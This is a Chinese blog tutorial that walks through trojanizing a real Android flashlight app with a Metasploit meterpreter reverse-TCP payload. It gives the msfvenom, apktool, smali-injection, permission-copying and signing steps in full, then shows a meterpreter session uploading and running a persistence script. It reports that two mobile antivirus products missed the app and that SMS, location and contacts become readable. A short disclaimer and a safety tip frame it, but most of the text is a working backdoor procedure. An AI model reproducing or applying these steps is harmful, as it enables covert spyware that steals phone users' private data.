声明:本文内容可能具有攻击性,只供安全研究和警示作用,请勿用于非法用途,非法使用后果与我无关。

本人小白一枚,前段时间看到@鸢尾 大神写的文章《如何用kwetza给安卓应用加后门》。大神自己写的自动化注入工具,看过程也并不困难,我就产生了自己手动注入的想法,折腾了一天终于搞定了。

当然已经有有好多的自动化注入工具可以使用了,我先总结一下:

1.backdoor-apk :https://github.com/dana-at-cp/backdoor-apk

2.  spade:  https://github.com/suraj-root/spade

3. apk-embed-payload.rb:https://gist.github.com/SkullTech/a62d106b55562cc1ab88

4:当然还有@鸢尾大神的kwetza。

欢迎补充哈!!!

好了,开始正文。

先捋一下思路,把PAYLOAD小马注入到一个目标apk文件中,关键是要找到目标APK的入口,并把启动payload小马的代码添加进去,随目标APK一起启动,从而实现监听手机的目的。当然前提是apk文件可逆。

这里使用注入目标apk文件:(百度)手电筒—-小米应用市场下载的

顺着思路,我们先用msf生成小马。

step 1:

msfvenom -p android/meterpreter/reverse_tcp LHOST=本机IP  LPORT=监听端口号 -o 应用名.apk

生成马.PNG

我们可以看到,payload小马只有8.8 KB (8,843 字节),非常小,可谓短小精悍。

step 2:

反编译payload小马houmen.apk和手电筒.apk

apktool d /root/houmen.apk

apktool d /root/手电筒-1.0.3_4.apk

文件.png

我们得到了反编译之后的文件。

step 3 :

开始寻找手电筒-1.0.3_4.apk文件的入口,在手电筒-1.0.3_4的Manifest.xml文件中查找Main和Launch关键词,定位到所对应的启动smail文件

搜索Main和Launch关键词

定位1.png

好了,直接找到com/baidu/flashliaght/MainActivety.smail文件,终于到关键时候了,我们要在手电筒启动的activety中添加启动PAYLOAD小马的代码。

直接搜索onCreat函数,找到bundle对象,你并在下面添加启动payload代码:invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)Vv

启动代码.png

点击保存之后呢,我们还要把刚才反编译的payload文件中的smail代码复制过来,把payload的smail/com/metasploit文件复制到手电筒的smail/com/目录下。

 OK,现在基本已经大功告成了。直接保存退出就好。

接下来呢,我们还有一个问题,就是权限的问题,payload小马作为监听程序,肯定少不了有很多权限,而手电筒作为一个简单的工具,权限肯定很少,因此要想使监听功能更齐全,我们有必要补充一下权限。首先对比houmen.apk和手电筒.apk的权限清单,把手电筒没有的权限从houmen.apk直接复制过来,当然了,注意不要复制重复了。

权限.png

大家注意看我们所添加的权限,都是一些敏感的,容易泄露个人信息的高危权限。一会我们要测试。

现在保存退出,剩下的就是回编译签名了。

回编译:apktool b /root/手电筒-1.0.3_4

生成KEYSTORE:keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222

签名:jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1

终于完工了,我们把生成的应用装到手机,并打开msf控制台,设置好监听参数后,等待上线。

监听.png

成功上线!!!!

完事之后呢,接上面的权限问题,既然我们添加了那么多高危权限,手机杀软能查出来吗?  我用我的手机进行了实测:

Screenshot_2017-04-27-03-32-10-020_com.tencent.qqpimsecure.pngScreenshot_2017-04-27-03-32-50-211_com.qihoo360.mobilesafe.png

上面的360和腾讯手机管家实测扫描结果,竟然都没有报毒,想想好可怕啊。

因此提醒大家,自己用的手机就别ROOT了,普通应用就不要给太多权限了,哎,还是老梗,说的再多,依然有人不听欸。

写到这呢,本来就完了,但是还有一个问题,就是payload小马有个缺点,就是启动后,我在xiaomi5实测,大概一分钟就掉线,很让人恼火啊,如果目标手机一直不再点击这个应用,我们就干瞪眼了。并且这还是一个低频的应用,好几天也不知会不会用一回。

怎么解决呢,我找了好久,终于找到个方法,当然不是我原创啊,我们拿来用。就是用一个sh脚本,关联小马,让其隔段时间启动一回。脚本如下:

持续.png

如何使用呢,我们需要在启动监听时,把脚本上传到手机,然后运行即可:


meterpreter > pwd                                                                     #找到当前路径

/data/user/0/com.baidu.flashlight/files

meterpreter > cd /data/user/0/com.baidu.flashlight/files

meterpreter > 

meterpreter > upload /root/桌面/chixu.sh                                 #上传脚本

[*] uploading  : /root/桌面/chixu.sh -> chixu.sh

[*] uploaded   : /root/桌面/chixu.sh -> chixu.sh

meterpreter > shell

Process 1 created.

Channel 2 created.

pwd

/

cd /data/user/0/com.baidu.flashlight/files                       #找到脚本所在文件夹

ls

be03bdfb7aec72fd9195311f2656619a

chixu.sh

sh chixu.sh                                                                             #运行脚本

持续8.png

这个过程一定要快,应为payload随时会断开,要抓紧时间。运行脚本后呢,等待一会,稳定之后就可以持续维持访问了。

到此呢,你就可以持续的访问了。

查看短信,定位,读取联系人,等都可以实现。

功能.png

啰里啰唆的,写到这,终于写完了。小白能力有限,纯属业余,大神勿喷!!!

So,送个视频给那些在努力的小伙伴,just do it.

https://v.qq.com/x/page/z0342acx2u3.html

*本文原创作者:永生